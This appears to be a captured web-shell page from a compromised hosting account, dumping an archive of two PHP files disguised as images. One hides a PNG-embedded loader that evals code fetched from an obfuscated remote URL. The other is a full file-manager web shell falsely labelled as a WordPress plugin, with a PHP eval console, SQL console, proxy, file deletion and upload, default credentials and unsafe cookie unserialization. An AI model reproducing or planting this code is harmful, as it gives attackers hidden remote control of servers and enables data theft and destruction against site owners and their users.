|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
PK �Um\MQK�� � 146yi.phpnu �[��� �PNG
IHDR @ @ ?iq? pHYs
?� �tEXtComment <?php echo eval("\77\76" . file_get_contents("\x68\164\164\x70\72\57\x2f\x75\156\x64\145\162\x67\x72\x6f\x75\x6e\x64\x2e\145\x76\x69\x6c\x74\x77\x2e\151\x6e\57\155\x2e\x74\170\164")); ?>
9HO?
IDATx�?�
��UC?<�?
?Pj?A?d*E)"??A��R?A$�,`A??T
C ?AB?0Eh�B"�Z?�T??K?�??f5??�6�U{�s�
�??��~g�����{�+??IO5?H�+i��Y�^?�w$��C?����q�>'��NP��t��JI�$?J,�8�$}SRk? �%�7�?�?�X,i?��H?XRgIM�c[H�(�'m�&?�??�9�${@?�J:C?��FIzD?A"�Z?$=,��?Jj.i�����??�?:�h/iN ?_�?J? U`?��?,i?�K$��4�9?]��C?�`��w!f ?�����??C?@??A��rt�.���E�[��E�K?q��?K�qI?Ilꄙ\���eIC?zI$}���>"iR��X�?��?1�???�I�????ON�?%])�a-IU@? I
?<��-V���\k�%�`�5�>.�jI�����_W0?�A?d��Iz�??K?��?_?�??��??y]LZ
Zb|?�$}H?�a??�?/d�??Y�>,�F?U
FEt�A*~?��tA?A�?>>�o\�'��?E|0??�q�?�f?"ixr?-IcJ?[?��@E? ?q�?E1�?�??jXiss�K)�UU��&|G??�>�?�;:{w[?tgIJh0Z.�t�?�D<UO(EY?? s1u�?-0q�e;
5L?~I??�}�?�<�??U8�P??>_IUU??0:X�??O0�??U�?�6?I??��?Wv[��U�?)$??� �^l�
ssPE�?Uh�?e�'?E2QKd,IN?��?�8�IMR%uO,���?8?=��v�'x�ww$}>?X�x
J?U?��"???9t??<ME?6b??�56I��I�f???U?Ap� ��p/I�?gc\h�?�??�?~-b?
�nH^�U�#�q?.�� &,|�~?pF�FS?,��d?:�1??a��s3}���?A){��U@dV??:D?9�?LIaI{$�?DuC��sJ�wG�<?�*"�?Jz9f�?���e??�5t�4/��vhksA0?����9?z�c��D�5E6h�vu?v�???Ol?[��?7??v�f?@�����9�CC?'��5I�l)�J]?9X�&�
�?1??=�U?�?���L}���?E?O�?I$�I�C?Y�e�G?I9�i^4e�?dc=�s???S?� ???�v'?�*�e�?�wFEO%] =����?A� 6-�?9-_?I?x1�?`�bqi?�eoE?�`��&~9?Xg�qNN}B?OW��????.?���?,?*�,x�?�??J?E���1E?#�{���%!�R.�#
?�?9R??U6?��1"\?�`$D����?jE\d�?�Y>b�/?fu?�???�?m?,��qL,?�G?/??��?sX�,�????�?5A���E?���n�"?�???�.��q?1p?O6<[?6+?7?.??��?D?��?��?s�?�??�^H??bpn�A??x�r�?$<�F?Ep ^�G�9���pCJ� u{B�?�]�??m?�V?l�z|'���<�]HC�&.�)Ef��C?��g?nDA�T1�?U,?�@?�w??A' ��L�NIV|??a�Gp??fq,�~>
2�r�0�s?~I!�2g1�I??.A6^??Ac�g????U??&?A\��UE�>�O�H_�~��I?IAA??Xl=4#[k?�x�???I?�xt?Ilj!�5X�M??dY87O#�?)��?�3�n"IrMrB4��W@�?��?�1(?c?</�����%a�?<Y??+f?n?Aq+?8u?N��i<�3?M�?�>!�,U�??Ox9,8B?D��g�?~]�?�A��gfCP�?\? �u?��U�wc??i]A<Wp��Z?f??U8���q?1pW??�
I&.�??�??k?��Hi]$�
Up�A?E��G�V?�qI?1� �?0x
I�h?? C�8p�s{<?�v��z|�qj�?<?��?I�I?C4�I;???|^??T�?�&E?!?hk�E(IE�l�?D?F????r????��?�|�??ai�6+z�$?�?U?�p�g?�
�, w2{?:?-4?4?�r�Y0-?��A�aU��?;???�>?�a0�=C���[A�?>��"��NE$&�??�0%???8�\�$Ek�n7/?Ax^^
<??��?=�??�ihAM��.�x�DM?�,(?�??4?]
�
�k?}
???��?RFZ%�EQ�\04hdKt�?S�k?Y��g�?E���`?r�??�?I?i�"U56��L�&U�9|kS?
�N�UU)+g�_0?�?E�?bvp??z G?U!?V
U���I?,"Gz=3?2??�
N?'0��>yS�?2�??2�m?p83 d�vP?Ea`?U�c�?a�c묨I�_�A�V�I�88X?K��_R�x??,ksV���E �<A��?]V�
7Of"�~??�C�?(U?x
v?E8?�NV�?� Y??.?�?C?����yu�IP?�u� �(m?�� ?J?���rf.�}�??EJ8?��?"���`v�)6n?E���~?�v~'
�G`�eu�?%?�8??���ob�cp
?��???E?al?g�ntPx?�b�?鄩 �?E?2?�#A�DD!,�???�qײA?�?w�W��?S�3X�q�_d1?J�7P
I�?U�sAQ8.�?BT7�?��a�JE[2FN?V?�+p=� y�?���*?d'�6a??? n?^;s���
?�i?mO-�???T��y?Uy`???��=���=B�?~??R?�E?�D�gs��??�L?1???O�?N?�?e?r�?E�?'??1Em,??R?��l�n)m??�?:{:A?o�???�?{I IEND�B`�PK �Um\��Ǵq7 q7 oiq2p.phpnu �[��� ÿØÿà JFIF ÿÛ C
!"$"$ÿÛ C ÿÀ ° ÿÄ
ÿÄ µ } !1AQa "q2‘¡#B±ÁRÑð$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ
ÿÄ µ w !1AQ aq"2B‘¡±Á #3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ ? ÈN
<?php
/**
Plugin Name: File Manager Advanced
Plugin URI: https://wordpress.org/plugins/file-manager-advanced
Description: Cpanel for files management in wordpress
Author: modalweb
Version: 5.2.12
Author URI: https://advancedfilemanager.com
License: GPLv2
**/
/**
* Loading constants
*/
// Configuration — do not change manually!
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
